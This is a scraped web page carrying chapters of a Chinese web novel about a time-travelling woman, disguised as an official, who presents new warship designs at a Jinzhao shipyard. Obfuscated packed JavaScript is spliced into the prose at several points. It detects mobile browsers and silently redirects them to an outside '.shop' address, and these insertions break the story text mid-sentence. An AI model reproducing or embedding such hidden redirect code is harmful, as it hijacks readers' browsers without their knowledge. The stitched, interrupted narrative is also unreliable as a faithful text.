d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14558175|154004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官们靴子踏在地上的踢踏声,转过廊角,渐行渐远。 方绾宁自进城刺杀一事后,其实都不常看见他,郁先生天天都很忙的样子,俞修衡也是,尽管待在府里的时间居多,但公务也时常推满他的案几。 似乎只有自己是真的在划水,她在廊下的背椅处待了片刻,脑子有些乱。 好像真的太得意忘形了。 自穿越以来的那种手足无措的感觉,好像很久都没有再感受到了。所幸遇见的人都是非常温暖的人,她们治愈着杜秋内心的彷徨,让她在这还不到一年的时间里交出一份对这个时代最真诚的投名状。 她已经甚少在心里提起杜秋这个名字了,往事不可追,那个精彩纷呈的世界已遥遥向前,她留恋往昔就是对此世的载物最大的不崇敬。她只需要守住自己内心的幽火,别被鬼怪吹灭了去。 这个世界是真实的,无法复制,无法湮灭的,张乐川已经在此世活了十九年之久尚不能如意,如果一直待在伞下虽淋不到雨,但也晒不了光,她不能再拖后腿了,她是张乐川的同族,他们紧系此身,他们链接彼世,他们的思想如一不被招安,他们永远是自己,永远被彼此热爱。 凡怜我灵犀者,皆不可被打败! 第二天一早,前往晋照的队伍在城门口聚齐。 青州府衙派遣了小张大人和另外两名人员同去,见那俩人装扮,似乎不是官员。方绾宁礼貌的朝他点点头,当作打招呼了,谁知张渠并没有理会,驾马跟在了郁先生的马车后面。 俞修衡,郁见深正和张长史谈话,大概是在临行前在交代公务吧,方绾宁等在马车边,一副小公子打扮,头上戴着一顶簪花纱帽,腰间佩戴的是那枚螭吻玉佩,身后站着文晓和王霄,她有点不自在,但还是忍不住挺直了脊背。 还好他们的谈话没有持续很久,俞修衡走了过来替方绾宁理了理衣襟,“在路上听郁先生的话?” 方绾宁点头,“知道,别把我当小孩子。” “到了晋照别太贪玩。”俞修衡轻笑。 “嗯,我不会的 ,我昨晚又想到了些战船的细节,想来应该会比较顺利。” “不用给自己压力,造船是水沽船匠的事,我只想要你开心和平安。”俞修衡声音轻轻,挠得方绾宁的耳朵痒痒的。 郁见深走了过来,“殿下,队伍该出发了。” “嗯。”俞修衡听后将方绾宁送上了马车,“出发吧,绾宁。” 方绾宁扶着俞修衡的手臂上了车,隔着车窗和他道别,“拜拜,小川,我会好好练字给你写信的。”她朝他挥手。 队伍人数不多,拢共加上护卫也就不到二十人。伴着七月底的热浪,方绾宁一行人一路南下,前往淮南道的晋照城。 一直到队伍变成零星小点,俞修衡才收回目光,翻身上马,启程回府。他也有许多事情要做,青州还是太贫瘠,留不住他想留住的人。 “王爷,既然舍不得方姑娘,为什么还要让她去晋照,这一趟,恐怕……至少会有半年时间没办法见到她了。”关珏略感疑惑。 俞修衡端坐在马背上,目光清俊,眉宇温良,嘴角含笑回答:“因为,她是方绾宁,而不是我的方绾宁。” 关珏更困惑了,刚想追问,却发现王爷已驱使着马匹走远了。 回到了王府,俞修衡看着沧澜阁霎时间觉得空荡荡的。见赋思候在门前,便向她问道:“昨天绾宁是不是给你和文晓送了风铃?” 赋思回答:“是,方姑娘做的风铃十分精巧。” “拿过来,就悬在本王窗户外的檐下吧。” 赋思以为自己听错了,慌忙抬头想再问,俞修衡却略过她,朝屋内走去,临进门前,侧头对赋思又道:“你可以去库房挑一件你喜欢的东西,文晓也是。” 赋思愣了半晌,还是点头照做。 一柱香后,俞修衡瞅着窗前两串叮叮当当的风铃,面如春风,勾唇浅笑。 23.晋照 第二十三章 行程算是比较赶,原定十几天的路程,在第九日便已经入了淮南道。地形也在过了北阳之后,变得崎岖起来,昨夜又是歇在了野外,一大早起来,方绾宁掀开车帘,入眼便是起伏的群山,薄雾在低矮的沟壑间徘徊,被初升的太阳光一照,筛在树林间便有了形状。 方绾宁原本还想在路上学一学骑马,但行程实在太赶,车队歇憩的时间不多。可能……要不是为了担忧方绾宁的身体吃不消,他们今日就能入了晋照城。 队伍里除了方绾宁和文晓,皆是男人。所以如果没有必要,方绾宁都是待在马车上看书,练字,偶尔下车也是去让郁先生验验书法成果,但好像皆不如意,郁先生看着她的字尽管总是微笑告诉她多练习就好,可是方绾宁却能在他的表情里读到糟糕的情绪。 这让她老是十分沮丧,在马车上唉唉叹气,又万般无奈的重新拿笔。 还好偶尔也能和文晓调笑,和张渠斗嘴,日子不算难熬,终于在一场大雨后,车队抵达了晋照。 有别于方绾宁到过的其他大城,晋照的市井气息特别浓郁,街道宽敞,行人往来如潮水,吆喝声此起彼伏,商铺也是鳞次栉比,常有过往的商队在此处汇集,拥挤吵闹,锣鼓喧天。 方绾宁还以为会在入城时耽误好一阵功夫,不过还好郁先生的人脉甚广,那位他在晋照的朋友提前在城门口迎接,让车队免受排队之苦,提前入了城。 方绾宁掀开车帘打量着队伍最前面的二人,郁先生此时正骑在马上与他那位朋友并列而行。 隔得有些远,方绾宁看不清长相,只见那人头戴一顶蓝田垂叶冠,披着暗青色的披风和郁先生正殷殷交谈。 “兄长,距离上次相见好似已有十数载。这些年,你过得好嘛?” 有那么久嘛?郁见深没有仔细算过,记忆里的邓行闻好像还是个蠢蠢的少年郎,如今居然已蓄有胡须,他颔首回答:“挺好的,劳观察使大人挂心。” 邓行闻似乎被郁见深语气里的疏远之意刺痛了心,面色显露出悲伤,“兄长惯会玩笑,行闻还记得当初在天水郁氏族学里的求学旧事,兄长的教诲还时常在耳畔浮现,记忆犹新。” 郁见深捏住缰绳,朝邓行闻拱手,“观察使大人切勿多言,既是旧事便当忘怀。”然后凑近些小声再与他说,“人多眼杂,到了再说。”说完又重新直起腰背,立于马上,面露谦卑,“邓大人不辞辛劳,还到此迎接,为我等提供诸多便利,在下代渊王殿下多谢大人的慷慨。” 邓行闻了然,也打起了官腔,露出浅笑,“能为渊王殿下效劳,是下官的福分。” 两人点头示意后便再未说话,面色严肃,皆是一副板正的模样。落在探子眼中便是:郁见深奉命前往晋照办差,与淮南观察使邓行闻同行,二人言行冷淡,关系泛泛。 一路行至一处院落前,方绾宁揉揉酸痛的腰肢,在车上呆了两个多时辰终于是下了地。下地的时候脚软了一下,身形趔趄。 文晓急忙过来扶了扶,还正了一下方绾宁的头巾,小声附在她耳旁提醒,“方姑娘,你现在是渊王府的参知执事,注意仪态。” “哦,好好。”方绾宁在路上被文晓恶补了官职礼仪方面的知识,现在她不是王爷的老乡了,是王爷的属官,参知执事方宁。说得好听些就是王爷的钦差大臣,不好听的话,就是王爷派人出去办事时的监官。 方绾宁在心里默念了一遍自己的新身份,朝郁先生的地方看了一眼,便迈开她现学的四方步气势轩昂地朝前走去。 邓行闻和郁见深在院前下了马,正准备寒暄一番,抬眼瞥见马车上走下来一个五短身材的年轻男子,纤瘦不禁风,面容素净还童稚未脱,一身月白的常服穿在身上像极了东柳巷的小倌,偏偏还踏着正步,模样虽出彩但行为十分滑稽。 邓行闻皱了眉,他可不喜欢这类矫揉造作之人,但他明显又是王爷的人,腰上挂着的玉佩十分抢眼。 郁见深见方绾宁走了过来,忙介绍两人认识,“邓大人,这位是王府的参知执事方宁。方宁,这位是淮南观察使邓行闻邓大人。” 方绾宁知道对方的官大,便先一步行礼,“原来是观察使大人,下官方宁,此次奉王爷之命前来晋照办差,望大人多多照拂。” 声音又细又甜,邓行闻咽下嫌恶,开口,“为殿下办事,应该的。”说完眼神一秒也不想停留在他身上,向一旁的郁见深说道:“郁先生,请进吧,此处是本官为此次事宜办置的院落,离水沽不远,方便诸位行事。” 然后几乎是拉着郁见深进的院子,留下方绾宁在原地不知所措。哎?为什么感觉自己被讨厌了?但她明明什么也没做啊。 方绾宁也不在意,见文晓在拿马车上的行装,也上前去准备帮忙,却遭文晓的眼神示意,她小声说:“方姑娘,去院子等我。” 方绾宁听话,扭头就进了宅院。 进了院子,派人守在了周围,邓行闻终于可以将情绪外露,他激动得手有些颤抖,捏在衣衫处有个深深的折痕,声音哑然,“兄长,兄长……我……我终于又见到你了。” 郁见深坐在厅前的主位上,淡淡饮茶,“怎么?还要像从前一样哭一场?” “不,没有。”邓行闻将红了的眼眶藏了藏,“细数往昔,竟惊觉那段日子已经过了那么多年,我明明还记得族学外的那棵银杏树刚刚落叶,记得教诗经的夫子在堂上老是瞌睡,我们时常溜出去在天水的秋屏山上跑马,兄长,你不仅教过我作文,还教过我射箭,我,你,还有郁席知,裴万隘,我们还曾在山中对酒而歌,席地而眠……如今再见你,竟……苍老了许多,兄长,我悲啊,我当初为什么不劝我爹上京去,如果他去了,郁伯父会不会就……”邓行闻於乎哀哉,声声切切。 “够了,邓行闻!”郁见深大声打断他,“如果我记得不错,你如今的年岁该是三十六吧?不是十六了,沉湎在幼时的记忆里,像话嘛?能再见已是命运对我手下留情,我不想每见一个故人便要如此哭哭啼啼的可怜我!” 邓行闻不敢再言,背过身拿袖子擦了擦眼角。郁见深见此颇感无奈,都是正四品的朝廷官员了,竟还是一副半大不小的模样。 他又倒了一杯茶,声音放软,“过来坐吧,我这些年很好,在渊王殿下身边做事,一切平顺。” 邓行闻过来坐下,将茶一饮而尽,又道:“我虽常年待在晋照,但京中诸事都有耳闻,承王近几年在朝中颇得人望,前阵子早朝,有大臣还重提了册立太子一事,大部分官员属意举荐了他,陛下虽未表态,但观朝中风向,是迟早的事。”说到这,他看了看郁见深的脸色,见并无变化,便又接着说:“如果承王坐上了东宫之位,那青州的那位渊王殿下……可以说得上是,命不久矣了。” “嗯,意料之中。”邓行闻的消息应该是略快于自己的,他还是出发前将将得到的消息,承王干了那么些污糟事不就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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文晓一边查验着房内的布局,摆设,一看便是事先收拾过的,各处都极为妥帖,她满意的点点头,一边回答方绾宁,“估计和那位大人在商谈公事吧,我看着那边守着不少人。” 方绾宁想去找郁先生的心放了下来,本来想去问一下什么时候开工,但现在实在不方便,那便算了吧,“那我先练练字吧,等他忙完我再去找他。”方绾宁走向条案开始挽袖子研墨。 俞修衡的字帖也不知他是什么时候写的,竟然整整五大本。方绾宁看着字帖上飘逸的字体默默发愁,这得要练到什么时候才能和这上面一模一样啊。 “方宁不是王爷的男宠,她是女子。”郁见深解释道,“为了方便行事才做了男装打扮。” 邓行闻跳起来的身形终于稳了稳,“啊,原来如此,不是男宠啊,哈哈……” 邓行闻拍了拍胸脯又坐了下去,可忽然又跳起来,表情像是见了鬼一样,“什么!她是女子?兄长你说这图纸是她一个女子构想出来的?” “你一惊一乍的干什么?”郁见深的茶水都被他惊得洒出来几滴,“这事除了我们王府的人知道,现在你也知道了,不要让第三波人知道,明白嘛?” 邓行闻连连点头,“王爷麾下果然能人异士齐聚,不仅有兄长此等不世之材,还能招揽这种……嗯……不一般的人。” 郁见深将滴在衣上的茶珠掸了掸,语气随意地说:“方宁的身份和我不一样,王爷喜欢她。” 邓行闻鄂然失色呆立不动,心情复杂。 啊?所以这方宁不是男宠,是王爷金屋藏的娇? 24.水沽 第二十四章 晋照东城的水沽在规格上来说,在东洲的船坞列表上排号并不靠前,但胜在历史久远,有许多经验丰富的船工和稀有木材,最重要的是这里东边有条入海口,直通大海,向北行进不出五天便能将船停靠在青州海岸。 在晋照的第三天,方绾宁一行人,才在淮南观察使邓大人的带领下来到了水沽船坞,这船坞是邓大人的私产,晋照又是晋杭运河的起始地,不少商队都会在此地进行货物交易,来自北方的皮货和山珍,和来自南方的茶叶与瓷器,相互融合,络绎不绝。所以水沽这个老船坞每年能带给他一笔不菲的收益。 水沽船坞分为两部分,一处是经营管理机构,一处是有着一排排水塘的建造地。 邓行闻领着他们来到一处大厅,房间宽阔,窗户洞开,十分通气。中间摆着一张宽大的条案,桌边早已站满了不少人。除了老道的船工,还有不少官府和军中的人。 嗯,是的。战船的设计和研发图纸并没有被俞修衡化公为私,中间许多巧妙架构都是利国利民之物,应当公之于众。 邓行闻走上前,停在主位上,声音宽洪对着厅内的众人开口,“诸位,想必昨日大家已经得到了本官的消息,东洲的船舶将迎来新一轮的变革。之前曾在满河下游发生过货船撞击事件,其中一艘还是载有皇贡的官船,两船因河道拥挤发生碰撞,船身破损进水,不到半个时辰两艘船便迅速沉入了河底,此次事件前后损失高达一千万两白银。之后朝廷便出台了政策,减少运河内行船的数量,以达到通行的目的。” 说到此处,邓行闻顿了一下,眼神幽幽看向室外安放在院中的那口大钟,又说:“但这个政策虽减少了此类事故发生,也大大打击了各地的贸易,致使物价较之往年上涨了不少,各地商户,百姓也是怨声载道……而今日,来自青州的渊王殿下为我等,为东洲带来新的船舶技术,将彻底解决此类问题。” 话毕,邓行闻让出位置,将郁见深和方绾宁的身影显露出来,郁先生上前一步,神情泰然,从容镇定的将准备好的图纸拿了出来,十分大方的摊开在桌面上任厅内的众人传看。 郁见深拱手行礼后,说道,“能在今日来到此地的,想必都是对船只颇有了解之人。场面话,在下就不多说了,只要是东洲人都应该知道青州的海寇之患,上月,我家殿下刚到青州就蕃,为了彻底遏制以及击溃海寇的这股猖獗之风,特地研制了新型战船用以抗击海寇,其中多项技艺从未在东洲展现但又有益于民,渊王殿下心怀大义与东洲苍生,便命在下携带图纸和大家一齐分享、研发和制造。” 此话说完,堂内响起不约而同的夸赞之声。 “渊王殿下真是仁厚和无私啊!”、“渊王殿下真是百姓的福祉。”、“王爷就算离了应京,心还是关怀着这天下啊!”……其中也有不少的惋惜之言:“真是可惜了,好好的皇子竟然去了青州。”、“是啊,当年的渊王殿下可是在应京一呼百应的存在啊,可……”、“小声些,你这话被人听了去小心你的脑袋。”…… 还是被方绾宁听见了一些,啧啧,俞修衡以前还是风光过嘛。不过,既然他如今已离开朝廷去了青州,在这种场合郁先生如此颂扬他,会不会给他招致灾祸呢? 然而方绾宁马上就没空想了,因为郁先生点了她的名,“……其中细节之处,就让我们王府的参知执事,也是此图的设计者,方宁,方执事为各位解答一番 。” 郁先生话音刚落,场内之人的目光都齐刷刷的看向主位旁的方绾宁身上。 额,方绾宁不由自主地咽了一口口水,瞳孔微微睁大,心脏在胸膛嘭哧嘭哧地跳得不行,双腿也在打颤,好紧张啊喂!他们齐刷刷的盯着我呢……她深呼吸一口气,用力掐了一把大腿……不能掉链子啊,方绾宁!实在紧张的话,要不然,就当是场毕业答辩了。 她走上前去,僵硬的微微一笑,开口道:“各位老师好,啊,不对,大人们,早安……”她在说什么啊?方绾宁有些露怯,导致场下的人发出窸窸窣窣的声音。 “肃静!”邓行闻在一旁敲了敲桌子,又转过头对方绾宁眯眼笑,“别紧张,方执事,你接着说。” 哎?邓大人今天的态度好不一样哦,真和气。方绾宁被安慰到不少,重新整理了心情,再度开口,“各位想必已经将图纸阅览了一遍了,那请问在图纸上右下角标注有数字七的那一张在哪位大人手里?请交回到我手中。” 众人纷纷翻看,不一会儿,那张图就回到了方绾宁手上,她平铺在自己面前,指着上面的图样开始说:“以往东洲的船底部大多是平底空心,这确实会增大船只的漂浮力度,但也会增加船只遇大风的倾斜翻船概率,和船舱漏水的沉船率……所以,容许我为大家介绍一种新型的船舱安全结构设计——水密隔舱。” “此设计位于船体内,用厚实木板将船只底部隔成多个互不相同的船舱,这样一来,就算船只漏水,也不会流进其他舱,同时还能依靠其他船舱的浮力继续航行,破损的船舱也能及时得到修补。” “那请问方执事,木板与船只底部相连也不能形成绝对的封闭区域,如果行进在水流激烈处,河水倒灌进船舱,其力量足以冲破木板抵达其他船舱,这可如何是好。”堂下其中一名官员问道。 方绾宁立马作出了回答,“好问题,不过这就牵扯到造船工艺了,船工应该要了解一些,所以我们的船底要制造成弧形,将木板放置进船底时,凡是有接口的地方,都用桐油灰嵌塞,不会透水,再在每个舱室内填满砂石木灰之类的东西,不仅能增加船只的吃水深度,还能延缓船只进水时的速度,撑到回港再维修也不会有问题。” 方绾宁的回答不仅详细准确,让那位官员了然大悟,其他人也相继提出了很多关键性问题,气氛回温,没那么严肃了,方绾宁的紧张感减轻了不少,回答也越来越游刃有余。 …… 遇到她知道的问题,她倾囊相授,知无不言,但也会有人问到她不知道的问题,这时候她也会大大方方的回答不知道,但总有几个心态不好的非要找点存在感,只见那人神色突然凛然,“你是此船的设计者,怎会不知道?难道……这图根本不是出自你手,是你这黄毛小子想冒领他人功劳吗?” 此话一出,气得方绾宁怒不可遏,尽管这设计确实是她从二十一世纪照搬过来的,但当初在图书馆查资料,整理数据的都是自己没日没夜的苦劳好嘛。 她抬手阻止了一旁想出言呵斥的邓行闻,厉声说道:“不知道有什么稀奇的,你们造船造了那么多年不是一样不知道该如何降低船舶的沉船率嘛?我如今都将想法提出来了,图纸都画好了,在座各位刚才也看了都说可行性非常高,我都把饭喂你嘴里了,你还不知道嚼难道还怪我没教你?” 一边的张渠听后突然神清气爽啊,对,就是这样,像在青州训我一样训那个无礼的晋照官! 那人似乎被方绾宁的话噎住了,半天没反应过来,方绾宁继续输出,“遇到问题大家一起讨论不就好了,有困难就迎难而上,什么我都给你做好了,还要你来干嘛?我领的可是我们渊王殿下的俸禄,你又没出一毛钱,你在这吼什么!” 场面一度十分尴尬,那官员的脸色一阵红一阵白,十分精彩。邓行闻见此出来打圆场,不过他前天刚知道这个方宁的身份,也不好责备她,便将矛头指向了那个晋照官员,“刘大人,注意言辞。方执事可是王爷派来指点我们造船的重要人物,你刚才的言行实在是无礼。” 啊?我无礼?我就说了一句话,这个方执事要说上十句,我……他……哎……那个晋照官有苦不敢言。 不过方绾宁这下舒坦了,还有什么紧张情绪?该是下面的这些人紧张了吧。她踮起脚环视了一圈,问:“其他人还有什么问题嘛?” 众人摇头,不敢有,不敢有。 “今日只是一个初步的探讨会,既然可行,那咱们就开始动工吧,青州的海寇可不会老实的等着我们造好了船再来侵扰,我们只有比他们先一步,才能打敌人一个措手不及!”方绾宁战略性的停顿了一下,以为能等到掌声来着,谁知道根本没有,便接着说,“今后我会时常来水沽和大家研发、制造新型船只,大家今日可以下去整理一下笔记,有任何问题今后可以随时在水沽拦住我,我能回答就会回答,回答不了我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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没等邓行闻回过神,郁见深已经走远了。不过,如果水密隔舱的技术问世在每一艘运河里的船只上,不仅能降低沉船率,还能大大增加船只的通行数量,到时候水沽的船只订单怕是数也数不过来啊。 邓行闻满面春风的走出门,谁知晋照的司马赵推恩却在门口等着自己。 赵推恩连忙上前拦住邓行闻,“邓大人,留步。” “赵司马,可有要事?” 赵推恩面露难色地说:“邓大人,是这样的,前阵子运河上半段不是闹水匪嘛,下官接到朝廷的清缴令,让我在一个月之内取得那水匪首级。可那些匪徒实在是狡猾,每次我部的船只还没行进至他们水寨范围内,便被他们藏在河里的水鬼凿了船。” 邓行闻意会,却故作惋惜,“那真是可惜,司马大人可有的忙了。” “因为这事,下官连遭上峰责骂,但也实在是没了办法,军中的刀枪再厉害可也得见着那些匪徒不是?”赵推恩讨好的对邓行闻笑着,“今日听了那青州方执事的船舶新设计,就想让邓大人能行个方便,先给我们赶制几艘新船,让我军能早日剿灭了那无法无天的水匪,也好早日还运河一个清净,平安呐。” “这也不难,赵司马。”邓行闻一口回答道。 赵推恩听着他的话瞧着有戏,便笑得更谄媚了,谁知话音一转,“不过,你是知道规矩的,像这种作战的官船,余杭那边的潍泾船厂才有资格制造,尽管水沽也能造些小型官船吧,但……不合规矩啊。”邓行闻轻轻皱眉,眼神望着赵推恩,居然露出贪婪之色。 赵推恩心下了然,“放心,规矩不会忘,只是今日匆忙,明日下官定会带着诚意拜访邓大人。” “既如此,那造船的事就看明日司马大人的诚意有多深了。”说完,邓行闻拍了拍他的肩膀便转身离去,不给赵推恩半点颜面。 可赵推恩还要求着他办事,语气只好十分恭敬,“好好,邓大人慢走。”等到邓行闻走远了,赵推恩才敢恶狠狠的啐他一口,“呸!” 不过,赵推恩也不是特别气愤,因为他前几天刚从下面的商户手上收了一笔税款,正好能解了这次的燃眉之急,银钱没了就没了,还能让那些商户缴纳,可若是事情没办成,这官位和脑袋要是没了,可就真的没了。 而方绾宁此时正坐在马车上,心里正意满志得,面色红润,笑容明朗。像是刚做了一件激浊扬清的大善事,可她哪儿知道,她刚热乎提出来的新事物正悄悄标上了价格,转手万金卖给了黎民百姓。 世界的阴暗如影随形,有人的地方就有污泥,有利益的地方就有脏水,别管人前多光鲜亮丽,高风亮节,背对着光的地方有的是脓疮。 25.青州来信 第二十五章 到晋照的第五日,烈阳,院里的海棠枝叶正在风里舒展,来自青州的卫兵带来了俞修衡的第一封信。 此时方绾宁还没起,正在软床上躺得四仰八叉睡得正香。毕竟昨天在水沽待了一整天,又与船舶官员和船工们商讨了木料的选取,防水的桐漆,船只整体架构之类的相关事宜,晚上回了兰苑还改了半宿的图。 文晓在门外候了一整个上午,在太阳升至正空时,屋里才终于传来了响动,她连忙推门进去,见方姑娘只是翻了个身,将丝枕落下了床榻,人却是还没醒,文晓见此,没再进前,轻手轻脚的又关上了门。 所以直到方绾宁看到这封信时,屋外的绿叶已被太阳晒得卷了边。她一边看信,一边喝着在灶上煨了一整天的参汤。 绾宁: 见字如晤,展信舒颜。 算着日子,该是到了晋照城了吧?不知一切可还安好?听说晋照的饮食偏甜,想必你应该十分喜欢,正好麾下有一名将领来自晋照,听他说在晋照南城的永隆巷,有一家名为如辉的点心铺子,其间的麻糍,他家里的姊妹时常光顾,想必滋味应当不错,你闲暇时可以前去游玩品尝…… 信件洋洋洒洒写了三页纸,两页半全是晋照的风土人情,甜点佳肴,临到信件末尾终于提了提自己:在你离开后的第三天,青州迎来了一场大雨,恰日适逢我去东城的将监处公办,无奈被困在一处临海小楼,让我见识到了什么叫海天倾一色,万物倒戈来,之景象,声势可谓是无比浩大。 殷殷雷声乾坤动,雨落万海荡潮生。当时一直在想,你要是也能看到,肯定也会被这恢宏之景所震撼,我好像喜欢上了青州,希望绾宁你也能喜欢。 一别三两夕,似是五六年。千万思归日,不知何时期。 绾宁,记得回信。 落款是一枚小小的印章,方绾宁从上辨得,刻的是:皇五子衡。 方绾宁读完了信,规矩的将信叠好放在一边,将碗里的汤一口干掉。 “方姑娘,你慢点喝,厨房还温着饭菜,睡了一天了想必饿极了吧,我这就去端来。”文晓在一旁伺候说。 方绾宁放下碗,咧嘴笑,“不用了,文晓姐姐,我刚才得了攻略,咱们现在就出门去!” “现在嘛?可是青州的信使还等着您回信呢。”文晓担忧道。 “不急,让他先休息一晚吧,我回来再给王爷回信,顺便让他带些晋照的特产回去。”说完,方绾宁就去了衣柜前,给自己挑了一件鸦青色暗纹的绸面衣袍,拿着一支黄木簪子递到文晓手里,“文晓姐姐,别愣着啦,快给我梳个风流倜傥的头发,好让我在路上多收几个女孩子的手帕。” 文晓被逗得掩面轻笑了一声,打趣她,“谁家玉树临风的公子哥,是你这等身材?要是你都能收到手帕,那铁定也是大风刮来,胡塞到你怀里的。” “哎,文晓姐姐,这可说不准哦,万一就有人喜欢我这款呢。”方绾宁嬉笑,“哦,对了,记得把闻霜也叫上,她肯定熟悉这晋照城。” 文晓将簪子簪在了她头上,顺手将一朵湖蓝色的绒花也插在了发间,一边回答,“嗯,好。” 闻霜是昨天邓大人安排过来专门伺候方绾宁的,据说是他家中专门照顾他夫人的贴身婢女,乖巧懂事,心思细腻。闻霜进兰苑时方绾宁还在水沽,想拒绝也没找到时候,只是在昨晚匆匆见了一面,是个十足的美人模样。 因着方绾宁身份特殊,文晓没有让她进房伺候,只是让她在外间处理些琐事,毕竟是观察使大人的好意,也不好还回去,闻霜便那么不尴不尬的留在了院子里。 方绾宁,文晓,闻霜,再加上王霄,一行四人出门时已经过了申时,太阳已经逐渐落下了天幕,大片大片的阴影开始笼罩在晋照的街道和小巷里,方绾宁想好好感受一番这座城市的气息,又听闻霜说永隆巷离兰苑并不远,所以此行并没有驾车,准备一路游玩走着去。 到了那名为如辉的点心铺子,街道上已经逐渐亮起了灯。 闻霜原本是走在最前面领路的,但她这真是第一次走那么远的路,平常跟着她家夫人出门,大部分也是马车随行,如今被老爷拨到了这儿,伺候什么劳什子方执事,真是有口难言。她逐渐落了队伍,跟在最后面去了。 方绾宁三人倒是兴致勃勃,赶在如辉打烊前买到了最后几盒糕饼,尝到了俞修衡在信中说过的艾青麻糍,入口软软糯糯,流心的馅儿包裹在舌根,实在是绝妙滋味。方绾宁很是喜欢,便再向店家预定了三盒,留下了地址,央求明日一定要送到城东的兰苑来。 闻霜终于在门口喘匀了气,就看见一只手伸到自己眼前,手上放着一块精美的点心,是如辉的招牌,名为金团,她替她家夫人来买过好几次,但从未尝过。她抬眼望向方绾宁,杏仁一般的眼睛里流转着熠熠烛火,含笑的唇角像是春情,方绾宁缓缓开口,“辛苦闻霜姑娘了,快尝尝这金团,甜腻的滋味正好适合你们女孩子。” 方绾宁差点就说成我们女孩子了,还好脑子跟上,嘴也跟上了,有惊无险,差点就暴露了身份。 闻霜脸一红,直起身子娇娇弱弱的朝方绾宁福了福身子,“多谢方执事。”便接过金团小口的吃,果真是名扬晋照的点心,是她之前从未尝过的浓香。 隔着永隆巷一条巷子的都昌大街有着晋照最热闹的夜市。文晓和王霄也是见识过应京繁华之人,面对这沸沸扬扬的景象并没有过多的兴奋之情,倒是方绾宁,一路上咋咋呼呼,见着什么都觉得新奇,不过片刻王霄的手上就已经没地方拿剑了。 “哇,这个是怎么做的,好好吃。”方绾宁说着塞了一口在文晓嘴里,“文晓姐姐,你也尝尝。” 文晓都来不及反应便被吃食堵满了嘴,等到终于咽下去,才对方绾宁小声提醒道,“方执事,注意些仪态,现在不是在府里,你现在可是公子,别被一旁的闻霜察觉到了什么异常。” “哦,对,还有闻霜。”有好吃的东西肯定要好好分享啊,还好文晓提醒了自己,还有闻霜和王霄呢,只见方绾宁压根就没将文晓的话听明白,折身过去就给闻霜也喂了一口点心。 看着闻霜娇羞的颔首用嘴接了那块吃食,文晓的头立马疼了起来。 此时的方绾宁简直兴奋得过了头,她像是被这热闹的气氛蒙了心,根本没反应过来自己穿着男装,她还让王霄把头低一点,好让自己将手里的吃食也喂一口给他。 王霄脸色未变,眼神倾斜向别处,像是并不打算遵守这个命令。 “王霄,你快点啊,我手酸了。”方绾宁催促道。 半晌,王霄还是没有拗过方绾宁,也许是有人看着一个华服小公子举着吃食,让高大侍卫低头的模样实在滑稽吧,王霄也有点忍受不了周围的目光,皱着眉低头接了那一口食物,嚼了两下,回答方绾宁,“是豆酥糖。” “什么?”周围人声鼎沸,方绾宁没听清。 王霄回答:“刚才那吃食,是用红豆做的。” 方绾宁兴高采烈的应了,又被街边的首饰吸引了目光。 摊主也高兴,一个身着华丽的小公子正站在摊前对着一支白玉响铃簪爱不释手,“公子,是买给家中的女眷嘛?” 方绾宁愣了一下,突然意识到自己现在的身份是男子,便回答道:“啊,是的。这簪子真好看,怎么卖啊,老板。” “公子眼光真好,这支簪子现在只需要三两银子,如果公子再挑一支,只给您算五两“摊主笑着说。 方绾宁听后便又再挑了一支红珊瑚垂珠步摇一起付了银子。将响铃簪插在了文晓的发间,另一支也同样簪在了闻霜的头上。 “真好看。”方绾宁望着文晓头上一摇一响的簪子说道。 文晓推拒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14597232|154004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不可,方执事,这实在贵重,文晓不能收。”说着就要将头上的簪子取下来,一旁的闻霜见状也要还给方绾宁。 方绾宁拦着她们的手,“别摘啊,这样多好看,你们好看了,就是公子我有面子,别人看着我身边跟着俩如此绝代佳人,怕是要在心里嫉恨死我呢。” 闻霜被方绾宁的话逗弄得低头娇羞不胜,怯怯的说:“方执事小小年纪,竟如此油嘴滑舌。” “闻霜姐姐有所不知,这哪里是油嘴滑舌了?有句话不是这样说的嘛,女人的容貌,男人的荣耀。姐姐们好看了,我面上自然也有光彩了。” 瞅着闻霜媚态尽显的模样,文晓快愁得心肝发颤了。我的方姑娘啊,你这是在哪儿学的撩拨手段,你可别再说了,再说下去,这后面该如何收场。 文晓在俞修衡身边做了那么久的一等女侍,如果还看不懂闻霜眼睛里亮着的是什么,那她怎么对得起钱管家多年来的悉心教导? 她只好提前结束今晚这段游玩了,半拉半拽的将方绾宁带回了兰苑。 刚进屋子,文晓便支开了闻霜,一怀愁绪的皱着眉头看向方绾宁。 方绾宁傻眼,哎?怎么了,文晓为什么一脸要吃了我的样子?“文晓……姐姐?” “方姑娘。”文晓按下一口气,将方绾宁按在书案前替她研墨,“请现在立即回信给殿下,明日一早信使便会出发。” “哦,原来只是让我回信啊,哈哈,吓死我了,你刚才的表情像是要把我的头摁在砚台里。”方绾宁松了一口气。 文晓拿着墨条的手放了下来,退后一步,向方绾宁弯了身子,“文晓不敢。” 方绾宁连忙上前扶起她,“你怎么还当真了,别那么客气。” 